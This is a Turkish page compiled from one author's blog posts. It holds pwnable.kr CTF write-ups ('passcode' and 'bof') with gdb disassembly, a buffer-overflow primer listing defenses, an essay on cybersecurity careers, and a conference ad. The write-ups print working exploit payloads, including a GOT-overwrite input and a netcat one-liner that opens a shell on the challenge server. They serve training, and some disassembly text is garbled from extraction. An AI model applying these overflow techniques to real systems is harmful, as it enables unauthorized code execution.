Scanf e & sız Değer Atama
|
|
- Göker Ataseven
- 6 yıl önce
- İzleme sayısı:
Transkript
1 Scanf e & sız Değer Atama Bir önceki buffer overflow yazımızda kullandığımız ve genel olarak C kodları ile pentest yaptığımız pwnable.kr sitesine giriyoruz. Play kısmından sorulara geçip passcode resminin üstüne tıklıyoruz. Karşımıza güvenli ssh bağlantısı ile server a bağlanmamız ve bağlantının şifresinin guest olduğunu söylüyor. Bağlantımız olduktan sonra ls -l komutu ile bu dizinde ne olduğuna bakıyoruz ve karşımıza 3 dosya çıkıyor. Bir adet flag dosyası, C ile yazılmış adının passcode olduğunu anladığımız bir kod ve bu kodun derlenmiş hali çıkıyor. Yanındaki harfler linuxta kullanılan izinleri sembol eder. Biz şu an kullanıcıyız. Buna göre flag dosyasını açamayız, okuyamayız, değiştiremeyiz. C kodu olan passcode.c yi okuyabiliriz ve derlenmiş olan kodu çalıştırabiliriz. root@kali:~/desktop/hey# ssh passcode@pwnable.kr -p2222 passcode@pwnable.kr's password:
2 \ \ / \ / _] / ] \ o ) _ o o ) / [_ ' / D ) _/ _] \ / ` ' _ O [ \ \ \ /.. \ \_/\_/ \_ \_ - Site admin : daehee87.kr@gmail.com - IRC : irc.netgarage.org:6667 / #pwnable.kr - Simply type "irssi" command to join IRC now - files under /tmp can be erased anytime. make your directory under /tmp - to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal Last login: Wed Mar 29 15:11: from passcode@ubuntu:~$ ls -l total 16 -r--r root passcode_pwn 48 Jun flag -r-xr-sr-x 1 root passcode_pwn 7485 Jun passcode -rw-r--r-- 1 root root 858 Jun passcode.c passcode@ubuntu:~$./passcode Toddler's Secure Login System 1.0 beta. enter you name : frk Welcome frk! enter passcode1 : Segmentation fault passcode@ubuntu:~$ cat passcode.c #include <stdio.h> #include <stdlib.h> void login(){ int passcode1;
3 int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1== && passcode2== ){ printf("login OK!\n"); system("/bin/cat flag"); else{ printf("login Failed!\n"); exit(0); void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("welcome %s!\n", name); int main(){ printf("toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("now I can safely trust you that you have credential :)\n"); return 0; Kodu çalıştırdığımızda adımızı soruyor sonra bir şifre istiyor
4 ve segment hatası veriyor. Genel olarak koda baktığımızda kodun yapması gereken adımızı sormak sonra iki tane şifre sorup eğer bu şifrelerin biri diğeride ise bize flag dosyasını açmaktır. Lakin kod hata verdi Şimdi sırasıyla login fonksiyonundan bakalım. void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); // burada & işareti konmamış.. fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); // burada da & işareti konmamış.. printf("checking...\n"); if(passcode1== && passcode2== ){ printf("login OK!\n"); system("/bin/cat flag"); else{ printf("login Failed!\n"); exit(0); Burada hata var. Buradaki scanf lerde & işareti eksik yazılmış. Scanf fonksiyonu adrese atama yapar. Lakin burada adrese atama yapabilmesi için gerekli olan & işareti yok. O zaman derleyici buradaki değişkeni bir adres gibi görüp ona atama yapmaya çalışır ki bu da hatadır. Şimdi buradaki hatayı önceki yazımızda kullanmış olduğumuz gdb debugger ile inceleyelim.
5 (gdb) disas login Dump of assembler code for function login: 0x <+0>: push %ebp 0x <+1>: %esp,%ebp 0x <+3>: sub $0x28,%esp 0x a <+6>: $0x ,%eax 0x f <+11>: %eax,(%esp) 0x <+14>: 0x x <+19>: $0x ,%eax => 0x c <+24>: -0x10(%ebp),%edx 0x f <+27>: %edx,0x4(%esp) 0x <+31>: %eax,(%esp) 0x <+34>: 0x80484a0 < 0x b <+39>: 0x804a02c,%eax 0x <+44>: %eax,(%esp) 0x <+47>: 0x x <+52>: $0x ,%eax 0x d <+57>: %eax,(%esp) 0x080485a0 <+60>: 0x x080485a5 <+65>: $0x ,%eax => 0x080485aa <+70>: -0xc(%ebp),%edx 0x080485ad <+73>: %edx,0x4(%esp) 0x080485b1 <+77>: %eax,(%esp) 0x080485b4 <+80>: 0x80484a0 < 0x080485b9 <+85>: l $0x ,(%esp) 0x080485c0 <+92>: 0x <puts@plt> 0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp) 0x080485cc <+104>: jne 0x80485f1 <login+141> 0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp) 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: l $0x80487a5,(%esp) 0x080485de <+122>: 0x <puts@plt> 0x080485e3 <+127>: l $0x80487af,(%esp) 0x080485ea <+134>: 0x <system@plt> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: l $0x80487bd,(%esp) 0x080485f8 <+148>: 0x <puts@plt> 0x080485fd <+153>: l $0x0,(%esp)
6 0x <+160>: 0x Burada işaretli kısımlar hemen dikkatimizi çekti. Adrese atanacak değer komutuyla atanmış. Ama bizim bildiğimiz bu değerin adrese lea(load Effective Address) ile atanmış olmasıydı. Yani 0xc(%ebp),%edx şeklinde değilde lea 0xc(%ebp),%edx şeklinde olmalıydı. Şimdi bunu kendi lehimize nasıl kullanabiliriz? Elimizde adrese değilde değişkene değer atamaya çalışan bir scanf var. Burada eğer passcode1 e bir değer atayabilirsek istediğimiz olur. Peki passcode1 e nasıl değer atayacağız? Burada sanırım devreye yine buffer overflow girecek void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("welcome %s!\n", name); Şimdi elimizdeki welcome() fonksiyonuna bir bakarsak 100 karakterli bir string dizisi açılmış ve scanf( %100s, name); baktığımızda program sadece ilk 100 karakteri ele alacak. Burada yeniden bir gdb debugger ile bu fonksiyona bakalım. Dump of assembler code for function welcome: 0x <+0>: push %ebp 0x a <+1>: %esp,%ebp 0x c <+3>: sub $0x88,%esp 0x <+9>: %gs:0x14,%eax 0x <+15>: %eax,-0xc(%ebp) 0x b <+18>: xor %eax,%eax 0x d <+20>: $0x80487cb,%eax 0x <+25>: %eax,(%esp) 0x <+28>: 0x <printf@plt> 0x a <+33>: $0x80487dd,%eax => 0x f <+38>: lea -0x70(%ebp),%edx 0x <+41>: %edx,0x4(%esp)
7 0x <+45>: 0x <+48>: < 0x e <+53>: 0x <+58>: lea 0x <+61>: 0x a <+65>: 0x d <+68>: 0x <+73>: 0x <+76>: xor 0x c <+83>: je 0x e <+85>: < 0x <+90>: leave 0x <+91>: ret %eax,(%esp) 0x80484a0 $0x80487e3,%eax -0x70(%ebp),%edx %edx,0x4(%esp) %eax,(%esp) 0x xc(%ebp),%eax %gs:0x14,%eax 0x <welcome+90> 0x Yukarıda okla gösterilen kısma dikkat edersek atama lea 0x70(%ebp),%edx ile olmuş. Neden? Çünkü karakter dizilerinin & ihtiyacı yoktur. Zaten ilk elemanının adresini vermiş oluruz. Şimdi biz name isimli değişkeni overflow yapıp passcode1 in üzerine istediğimiz değişkeni atamak istiyoruz. Bunun için bu iki değişken arasındaki offset(konum farkının) bilememiz gerek. name = [ebp-0x70] ; passcode1 = [ebp-0x10] 0x10 = 96 offset = 0x70 Buradan şu sonuç çıkar biz name karakter değişkenini 96 karakter besledikten sonra kalan 4 karakter passcode1 in üzerine yazılır. Şimdi son olarak scanf e aldığımız bu veriyi(şifreyi) bir adrese atamam gerek. Burada scanf in hemen alt satırındaki fflush() fonksiyonunu kullanıyorum. Önce fflush fonksiyonunun adresini bulalım. (gdb) disas fflush Dump of assembler code for function fflush@plt: => 0x <+0>: jmp *0x804a004 0x <+6>: push $0x8 0x b <+11>: jmp 0x
8 End of assembler dump. fflush() fonksiyonu 0x804a004 adresindeymiş. Şimdi overflow dan sonraki değer bu adrese jump(zıplama) yapacak ve son olarak 0x080485e3 adresindeki değer ile eşit mi? değil mi? ona bakacak. Burada yine python ile kısa bir script yazıyorum > python c print 96* A + \x04\xa0\x04\x passcode@ubuntu:~$ python -c "print 96*'A'+'\x04\xa0\x04\x08'+' '"./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :) Ve voila flag i buldum :)))) Kaynaklar teup-pwnable/ Yazar: Ömer Faruk SÖNMEZ C İLE BUFFER OVERFLOW-2 İlk yazımızda buffer overflow un ne olduğundan, hangi amaçla yapıldığından bahsettik. Bu yazımızda önce güvenlik
9 yarışmalarının genel formatı olan CTF(Capture The Flag) hakkında bilgi verdikten sonra güzel bir CTF sitesi olan ve içindeki C kodlarının istismar edilerek flag e ulaşılan pwnable.kr internet sitesine giriş yapıp buradaki buffer overflow açıklığı barındıran C kodunu patlatacağız. Öncelikle CTF(Capture The Flag) kelimelerinin türkçe karşılığı Bayrak Yakalama demektir. Bilişim alanında genel anlamda siber güvenlik alanında düzenlenen eğitim amaçlı yarışmalardır. Yarışmacıların belirlenen süre boyunca hedef sistemleri ele geçirmeye çalışmak veya gizlenen dosyaları bulmaya çalışmak gibi amaçları vardır. Buradaki gizlenen dosyalar bilgi veya kritik bir açık olabilir. İşte flag(bayrak) dediğimiz olgu bu bilgi veya açıklıktır. Her konunun farklı zorluk derecesine göre farklı puanları mevcuttur. Genel olarak yarışmanın sonunda en fazla flag(bayrak) toplayan yani en fazla puanı alan kişi veya grup yarışmayı kazanır. Genel olarak CTF mantığını anladıktan sonra şimdi pwnable.kr sitesine girip bir bakalım. Site açıldığında karşımıza aşağıdaki gibi bir ekran geliyor. Bu ekranın sol üst Login kısmından siteye üye olabiliriz. Biz şimdilik o kısmı atlayıp sağ üst kısımdan Play kısmına tıklıyoruz.
10 Play kısmına tıkladıktan sonra karşımıza resimli sorular geliyor. Bu ilk kısımdaki bütün resimler C kodu ile yazılmış farklı exploitler ile çözülecek flag ler barındıran sorulardır. Biz bof resminin üstüne tıklıyoruz. Ekranda iki indirme bağlantısı ve bir netcat ile server
11 bağlantısı var. Önce iki dosyayıda indiriyoruz. Şu an elimizde bir C kodu ve bu kodun derlenmiş hali var. Biz önce./bof olan derlenmiş C kodumuzu çalıştırmaya çalışıyoruz. Evet çalışmadı. Çünkü linux da gerekli izni vermemişiz. Gerekli izni verip çalıştırıyoruz. Karşımıza aşağıdaki resimdeki gibi bir mesaj çıktı. Geldik işin en zor kısmına burada kalide bulunan gdb assembly debugger ile bakıyoruz. Sırasıyla aşağıdaki kodlar karşımıza çıkıyor. root@kali:~/desktop# gdb./bof (gdb) disassemble main Dump of assembler code for function main: 0x a <+0>: push %ebp 0x b <+1>: %esp,%ebp 0x d <+3>: and $0xfffffff0,%esp 0x <+6>: sub $0x10,%esp 0x <+9>: l $0xdeadbeef,(%esp) 0x a <+16>: 0x62c <func> 0x f <+21>: $0x0,%eax 0x000006a4 <+26>: leave 0x000006a5 <+27>: ret End of assembler dump. (gdb) disassemble func
12 Dump of assembler code for function func: 0x c <+0>: push %ebp 0x d <+1>: %esp,%ebp 0x f <+3>: sub $0x48,%esp 0x <+6>: %gs:0x14,%eax 0x <+12>: %eax,-0xc(%ebp) 0x b <+15>: xor %eax,%eax 0x d <+17>: l $0x78c,(%esp) 0x <+24>: 0x645 <func+25> 0x <+29>: lea -0x2c(%ebp),%eax 0x c <+32>: %eax,(%esp) 0x f <+35>: 0x650 <func+36> 0x <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x b <+47>: jne 0x66b <func+63> 0x d <+49>: l $0x79b,(%esp) 0x <+56>: 0x665 <func+57> 0x <+61>: jmp 0x677 <func+75> 0x b <+63>: l $0x7a3,(%esp) 0x <+70>: 0x673 <func+71> 0x <+75>: -0xc(%ebp),%eax 0x a <+78>: xor %gs:0x14,%eax 0x <+85>: je 0x688 <func+92> 0x <+87>: 0x684 <func+88> ---Type <return> to continue, or q <return> to quit--0x <+92>: leave 0x <+93>: ret End of assembler dump. (gdb) break *0x Breakpoint 1 at 0x654 (gdb) r Starting program: /root/desktop/bof Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x654 (gdb) gdb Burada run komutu çalışmadı. mkdir ile yeni bir klasör oluşturuyoruz ve mv komutu ile bof u onun içine atıyoruz. Sonra bir daha deniyoruz.
13 gdb./bof (gdb) r Starting program: /root/desktop/hey/bof overflow me : Nah.. [Inferior 1 (process 4364) exited normally] (gdb) disassemble func Dump of assembler code for function func: 0x c <+0>: push %ebp 0x d <+1>: %esp,%ebp 0x f <+3>: sub $0x48,%esp 0x <+6>: %gs:0x14,%eax 0x <+12>: %eax,-0xc(%ebp) 0x b <+15>: xor %eax,%eax 0x d <+17>: l $0x78c,(%esp) 0x <+24>: 0x <func+25> 0x <+29>: lea -0x2c(%ebp),%eax 0x c <+32>: %eax,(%esp) 0x f <+35>: 0x <func+36> * 0x <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x b <+47>: jne 0x b <func+63> 0x d <+49>: l $0x79b,(%esp) 0x <+56>: 0x <func+57> 0x <+61>: jmp 0x <func+75> 0x b <+63>: l $0x7a3,(%esp) 0x <+70>: 0x <func+71> 0x <+75>: -0xc(%ebp),%eax 0x a <+78>: xor %gs:0x14,%eax 0x <+85>: je 0x <func+92> 0x <+87>: 0x <func+88> 0x <+92>: leave 0x <+93>: ret End of assembler dump. (gdb) break *0x Breakpoint 1 at 0x (gdb) r Starting program: /root/desktop/hey/bof overflow me : asd
14 Breakpoint 1, 0x in func () (gdb) info registers eax 0xffffd32c ecx 0xfbad edx 0xf7fad87c ebx 0x0 0 esp 0xffffd310 0xffffd310 ebp 0xffffd358 0xffffd358 esi 0x1 1 edi 0xf7fac eip 0x x <func+40> eflags 0x246 [ PF ZF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/wx $ebp+0x8 0xffffd360: 0xdeadbeef gdb2 Burada disassemble func altındaki yanında yıldız bulunan satırda main den gelen 0x8(ebp) ile 0xcafebabe i karşılaştırıyor. Eğer aynıysa program çalışacak lakin aynı değil. Neden aynı olmadığına en alt satırda register lardan çektiğimiz bilgi ile anlıyoruz. Burada ebp nin hala 0xdeadbeef olduğunu görüyoruz. Şimdi burada bir durup c kodlarına bir bakalım. #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; //Burda 32 karakterlik bir string alıcam diyor. printf("overflow me : "); gets(overflowme); // smash me! Bizim işimiz asıl burda burdaki overflowme kaç karakterden sonra patlayacak :)
15 if(key == 0xcafebabe){ system("/bin/sh"); else{ printf("nah..\n"); int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; bof.c Şimdi gdb ile kaldığım yerden devam edersem şu şekilde > (gdb) break gets Breakpoint 1 at 0x80483b0 (gdb) run Starting program: /tmp/work/a.out Breakpoint 1, 0xf7e84e90 in gets () from /lib/i386-linuxgnu/libc.so.6 Single stepping until exit from function gets, which has no line number information. overflow me : hellobof 0x080484ed in func () (gdb) x/1s $ebp-0x2c 0xffffdc0c: "hellobof" (gdb) 0xffffdc0c: 0xffffdc40: "hellobof" 0xdeadbeef Burada bir satırlık bir python koduyla > python c print 0xffffdc0c-0xffffdc40 sonuç -52 çıkar. Ve evet bulduk 52 karakterden sonra sistem patlıyor ve gireceğimiz değer key sabiti 0xcafebabe olacak şekilde flag dosyasını çekebiliceğiz. Şimdi burada yine bir satırlık python koduyla servera bağlanıp programda bir shell açıp flag i çekelim
16 (python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) nc pwnable.kr 9000 id uid=1003(bof) gid=1003(bof) groups=1003(bof) whoami bof cat flag daddy, I just pwned a buffer :) //Buradaki en alt satır flag :) Kaynaklar blog.btrisk.com/2016/06/ctf-nedir.html of-writeup-toddlers-bottle/ Yazar: Ömer Faruk SÖNMEZ C İLE BUFFER OVERFLOW-1 Normalde bu konuyu tek bir yazı ile anlatıp bitirmeyi düşünüyordum. Lakin konunun uzunluğu ve anlaması güç olduğu için iki yazılık bir yazı dizisi şeklinde anlatmayı daha uygun gördüm. Genel olarak bu yazımda buffer overflow un ne olduğundan, C dili ile yazılmış örneklerinden, giriş seviyesinde assembly den ve korunma yöntemlerinden bahsedeceğim. İkinci yazımda ise CTF(Capture The Flag) ne olduğundan, genel
17 güvenlik konularından ve son olarak C ile yazılmış bir kodu buffer overflow yaparak içinden flag çekmeyi göreceğiz. Buffer Overflow(Arabellek Taşması Zafiyeti) Nedir? Buffer overflow u tanımlayabilmek için önce buffer nedir, onu tanımlamamız gerekiyor. Buffer, hafızada ard arda dizili türde veri tipi (int, char) depolayan hafıza bloğudur. C ve C++ da buffer olarak array leri alıyoruz. Diğer bütün veri türleri gibi, array ler de static yada dinamik olarak sınıflandırılabilirler. Static değişkenler, program hafızaya yüklenirken, programın data segment ine yerleştirilir, dinamik değişkenler ise, program halihazirda calışırken, dinamik olarak stack dedigimiz hafızada program icin hazırlanmış özel bölümde yaratılıp, yokedilirler. İşte buffer overflow dediğimiz olay da, bu dinamik değişkenlerin taşıyabilecekleri veri miktarından fazlasını yükleyerek değişkenin sınırlarını aşmaktır. Kaba bir tabirle, 10 byte veri taşıyabilecek bir array a 20 byte kopyalamak bu buffer ı overflow etmek demektir.
18 Türkçe özetlersek: Arabellek taşması, değişkenlere varsayılandan büyük veriler girerek taşmaya sebep olunması ve bu sayede istenen bir kodun çalıştırılması olarak tanımlanabilir. Bu zafiyet Assembly, C ve C++ kullanarak yazılmış programlarda bulunmaktadır. Üst seviye programlama dillerinde runtime sırasında gerekli kontroller yapılmaktadır. Bunun en basit örneği C dilinde ki strcpy() fonksiyonudur. strcpy() fonksiyonu birinci string i ikinci string e kopyalar fakat sınır kontrolü yapmaz. Yani eğer biz değişkenlerden herhangi birinin büyüklüğünü statik olarak girmişsek bu programda bellek taşmasına yol açacaktır. #include<stdio.h> #include<stdlib.h> #include<conio.h> #include<string.h> int main() { char Buffer1[5]; char * Buffer2; Buffer2 = "AAAAAOverFlow"; strcpy(buffer2, Buffer1); // işte tam burada Buffer Overflow olacak ve hatası ekrana çıkacaktır. getch(); return 0;
19 buffer overflow example Kodda görüldüğü gibi ilk 5 byte tan sonra yazılan OverFlow kelimesi tam anlamını yansıtmaktadır. Yani ilk 5 byte a AAAAA yı koyacak ve strcpy() fonksiyonunun herhangi bir sınır kontrolü yapmamasından dolayı geri kalan OverFlow bellek taşmasına yol açacaktır. Bu program çalıştığında Buffer Overrun hatası verecektir. Ama OverFlow sözcüğü program stack ının kritik kısımlarını etkileyecektir. Gel gelelim program stack ı ne demek onu da biraz bilmeliyiz. Stack(Yığın), LIFO (Last In, First Out son gelen ilk çıkar) şeklinde düzenlenmiş bir veri yapısıdır. İşlemci, PUSH ve POP gibi komutlarla stack a veri aktarır, ya da stack dan veri çıkarır, yani stack ten çıkarılacak ilk veri, stack e aktarılan son veri olacaktır. Buradaki PUSH ve POP komutları assembly de kullanılan veri taşıma komutlarıdır. Bir programda fonksiyon çağrıldığında, ilk önce fonksiyon parametreleri yığına(stack) yazılır. Ardından fonksiyondan çıkıldıktan sonra hangi komut çalıştırılacaksa, onun adresi yazılır. Sonrasında fonksiyona girmeden önceki değerini saklamak için BP nin(base Pointer) o andaki değeri ve ardından da BP ye SP nin(stack Pointer) değeri yazılır(function epilogue). Son olarak fonksiyondaki lokal değişkenleri tutmak için bir arabellek(buffer) alanı oluşturulur. Klasik arabellek taşması bu alanın taşırılarak IP ye istenen bir değerin yazılması ve böylece program akışının değiştirilmesi durumudur. Aşağıdaki fonksiyonda girilen parametreyle ilgili hiç bir denetleme bulunmamaktadır. Fonksiyon programcının beklediği biçimde, yani parametre olarak en fazla sekiz karakterlik bir dizi verilerek çağırılırsa yığın Şekil deki gibi olacaktır. void fonksiyon(char* parametre)
20 { char arabellek[8]; strcpy(arabellek,parametre); Ancak bu fonksiyon; arabelleği tamamen doldurup, ardından eski BP ye de yazıp fonksiyonun dönüş değerine istenen bir adres yazılacak biçimde de çağırılabilir. Klasik arabellek taşırma saldırısı bu yolla yapılmaktadır. Bu sayede kodun akışı değiştirilebileceği gibi saldırgan tarafından yazılmış bir kod da(shellcode) çalıştırılabilir. Kısacası Buffer Overflow Exploiting bir programdaki programlama hatalarını kullanarak o programın değişkenlerine ve program akışına dışarıdan erişmeye denir.
21 Bu durumun güzel örneklerinden biri 2004 yılında açığa çıkmış Sasser solucanıdır. Bu solucan Windows işletim sisteminde sürekli çalışan LSASS.EXE adlı dosyada bulunan bir Buffer Overflow hatası sayesinde milyonlarca makinaya bulaşabildi. Bu LSASS.exe nin asıl görevi (Local Security Authentication Server) Windows un kullanıcı işlemlerinin güvenliğini sağlamak ve kullanıcı izinlerini düzenlemekti. Fakat Windows 2000 ve XP yüklü makinelerde bu dosyanın kullandığı bir DLL dosyasında Buffer Overflow tesbit edildi.( (LSASRV.DLL). Bu sayede virüs 445 inci porta bağlanıp, programa istediği işlemleri yaptırıyordu. Daha sonra da LSASS.EXE kapatılıyordu ve 1 dakika içinde de server a reset atılıyordu. Son olarak korunma yöntemlerini sırasıyla paylaşıyorum. 1. Verilen örnekte sctrcpy yerine strlcpy fonksiyonu kullanılsaydı, geçilen parametrenin boyutu kontrol edileceği için zafiyet oluşmayacaktı. Aşağıda bazı fonksiyonların güvenli ve güvensiz versiyonları bulunmaktadır. 2. Yazılan fonksiyonlarda girdi denetimi yapılmalı. Girdi denetiminde beyaz liste kullanılmalı ve listenin dışında kalan tüm girdiler reddedilmelidir. 3. Kod yazılırken değişken büyüklüğünü her seferinde sayıyla girmek yerine bir kereliğine bir değişkene ya da sabite atayıp sonra hep o kullanılmalı veya değişkene
22 yazılabilecek karakter miktarı sizeof fonksiyonuyla hesaplanmalıdır. 4. Eğer aksi gerekli değilse Assembly, C ve C++ yerine, bellek yönetimi ve bellek taşması kontrolü yapan C# ve Java gibi üst seviyeli dillerle programlama yapmak tercih edilmelidir. 5. Arabellek taşması güvenliği frameworkler kullanılmalıdır. sağlayan kütüphane ve 6. Kod derlenirken derleyicilerin sağladığı arabellek taşması tespit mekanizmaları aktif hale getirilmelidir. 7. İstemci tarafında yapılmalıdır. yapılan kontroller sunucuda da 8. ASLR(Address Space Layout Randomization) ve DEP(Data Execution Protection) gibi özellikler kullanılmalıdır. 9. Uygulamalara gereğinden fazla yetki verilmemelidir. KAYNAKLAR bellek-tasmasi-zafiyeti-buffer-overflow.html (Yavuz Atlas, TÜBİTAK BİLGEM ) d= verflow-nedir-blm-1/ YAZAR : Ömer Faruk SÖNMEZ
23 Neden Siber Güvenlik? Aslında bu metnin başlığı Neden Siber Güvenliğe Başlamalıyım? veya Güvenlik Bu Kadar Önemli mi? gibi sorular olabilirdi. Ama yazımız hem bütün bu konuları kapsasın hem de işin biraz magazinsel boyutundan bahsedeceğinden bu başlık bizim için yeterli. Burada bu işin sadece parasal, ülkesel ve küresel boyutundan bahsedeceğiz. Önce parasal boyuta değinelim. Kendini yetiştirmiş bir beyaz şapkalı hacker* şu anda ülkemizde de dahil bir çok kurum kuruluşun güvenlik biriminde(örneğin bankalar,holdingler vs..) çalıştığı gibi google, facebook gibi küresel ölçekli firmaların sitelerinde yaptıkları pentestlerle** buldukları açıklığın boyutuna göre milyon dolarlara kadar çıkabilen paralar kazanabilmektedir. Ülkesel bazda baktığımızda ileride olacak veya olabilecek savaşların senaryoları; tek kurşun atılmadan ülkelerin
24 altyapısal donanımlarını, askeri silahlarını(örneğin uçakları, denizaltıları vs..), iletişim ağlarını çökertmektir. Bunun 2007 de Rusya-Estonya siber savaşı*** ile ilk örneğini bütün dünya görmüş oldu. Estonya nın bütün internet altyapısını felç eden DDos saldırıları ile ülkede bankacılık işlemleri, devlete ait internet siteleri, haber portalları gibi başlıca internet hizmetleri kullanılamaz hale gelmiştir. Saldırıların çoğunun Rusya dan geldiğinin ispatlanması üzerine ülkedeki bütün internet hatları kapatılmış buna rağmen saldırılar birkaç hafta daha devam etmiştir. Şu an itibari ile Rusya da ve Amerika da bir siber ordu, Çin in bilinen ismiyle Mavi ordusu ve Avrupa Birliğinin bu acil durumlar için bir siber güvenlik ordusu geliştirdiği bilinmektedir. Ülkemizin de böyle bir birime ihtiyacı vardır. Son olarak küresel bazda baktığımızda bir Nükleer Santrale yapılan siber saldırı sonucu doğaya verilen zararın düzeltilememesi, nükleer başlıklı bir bombanın kodlarının hackerlar tarafından ele geçirilip teröristlere satılması, kişisel mahremiyete dayalı bilgilerin çalınıp satılması, ülkelerin sırlarının ifşa edilmesi gibi uzadıkça uzayan bir liste mevcuttur. Bütün bu tehlikeler karşısında kendini yetiştirebilmiş güvenlikçiler her zaman ve şartta gerekli yerlerde lazım olacaktır.
25 Kaynaklar: * ** syon-testleri/ *** en-baz-olaylar.html Yazar: Ömer Faruk SÖNMEZ Akdeniz Bilişim Zirvesi (26 Kasım 2016 Cumartesi Antalya) Akdeniz 2016 Akdeniz in En Bilişim Zirvesi Kapsamlı Bilişim
26 Buluşmasına Hazır Olun! Pixel Akademi tarafından Akdeniz Bilişim Zirvesi adıyla bu yıl ikincisi gerçekleştirilecek olan büyük buluşma, bilişim dünyasının en iyilerini bir araya getiriyor.uluslararası ve ulusal düzeyde marka isimleri bir araya getirerek Akdeniz Bölgesindeki en kapsamlı bilişim ve kariyer buluşmasını gerçekleşitiriyoruz. Sizleri bu yıl yine Bilişimin Kalbinin Akdenizde attığına tanıklık etmeye davet ediyoruz. 15 Ekim 2015 de düzenlenen 1. Akdeniz Bilişim Zirvesi ne katılan 800 katılımcımızdan aldığımız güç ile büyüyerek ve gelişerek 2016 da yolumuza devam ediyoruz. Zirve hakkında sosyal medya hesaplarımızı ve twitter üzerinden #bilisiminkalbinde,#abz2016 hastaglarını takip edebilirsiniz Neden Katılmalıyım? Geçen yıl ilki düzenlenen Akdeniz Bilişim Zirvesi bu yıl başarısını ve kapsamını katlayarak daha büyük bir konsept ile karşınızda Akdeniz Bilişim Zirvesi Sanal Gerçeklik-VR /AR, 3D Print, Siber Güvenlik, Ethical Hack ve Dijital Medya hakkında konuşacağız. Alanında ülke ve dünya çapında marka olmuş isimler yine bizlerle olacak. Akdenizinin en kapsamlı zirvesine bir çok süprize hazır olun! Bu yıl en iyi blog ve gelecek vaad eden proje ödülü de Akdeniz Bilişim Zirvesinde sahiplerini bulacak. Bu eşsiz buluşmayı kaçırmayın. Akdeniz Bilişim Zirvesi (26 Kasım 2016 Cumartesi Antalya) Etkinlik resmi web adresi:
C İLE BUFFER OVERFLOW-2
C İLE BUFFER OVERFLOW-2 İlk yazımızda buffer overflow un ne olduğundan, hangi amaçla yapıldığından bahsettik. Bu yazımızda önce güvenlik yarışmalarının genel formatı olan CTF(Capture The Flag) hakkında
DetaylıLinux Assembly Programlamaya Giriş
Linux Assembly Programlamaya Giriş Barış Metin Konular gcc / gas / ld Intel ve AT&T söz dizimleri gdb INT 80H C kütüphane fonksiyonları Stack Frame Örnek
DetaylıHAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ
HAZIRLAYAN BEDRİ SERTKAYA bedri@bedrisertkaya.com Sistem Uzmanı CEH EĞİTMENİ BUFFER OVERFLOW: Buffer Nedir? Buffer yani tampon alan donanım aygıtları veya farklı hızlarda farklı öncelikleri olan program
DetaylıPROGRAMLAMAYA GİRİŞ DERS 2
PROGRAMLAMAYA GİRİŞ DERS 2 Program editörde oluşturulur ve diske kaydedilir Tipik Bir C Programı Geliştirme Ortamının Temelleri 1. Edit 2. Preprocess 3. Compile 4. Link 5. Load 6. Execute Önişlemci programı
DetaylıBahar Dönemi. Öğr.Gör. Vedat MARTTİN
Bahar Dönemi Öğr.Gör. Vedat MARTTİN 8086/8088 MİKROİŞLEMCİSİ İÇ MİMARİSİ Şekilde x86 ailesinin 16-bit çekirdek mimarisinin basitleştirilmiş bir gösterimi verilmiştir. Mikroişlemci temel iki ayrı çalışma
DetaylıNESNEYE YÖNELİK PROGRAMLAMA
NESNEYE YÖNELİK PROGRAMLAMA Metotlar Şu ana kadar yaptığımız örneklerde hep önceden hazırlanmış ReadLine(), WriteLine() vb. gibi metotları kullandık. Artık kendi metotlarımızı yapmanın zamanı geldi. Bilmem
DetaylıZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com.
ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr Eyüp ÇELİK Kimdir? Bilgi Güvenliği Uzmanı White Hat Hacker Ethical Hacking
DetaylıBil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi
Bil101 Bilgisayar Yazılımı I Bilgisayar Yüksek Mühendisi Editör Disk 1)Kaynak kodlar editör aracılığı ile oluşturulur. (.c) Kaynak dosya Önişleyici Disk 2)Önişleyici kodlar içerisindeki ilk işleme işini
DetaylıSınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0
Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Bitirme Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 01.06.2017 Süre : 60 dak. 1. t değişkeni hakkında aşağıdakilerden
DetaylıYrd. Doç. Dr. Caner ÖZCAN
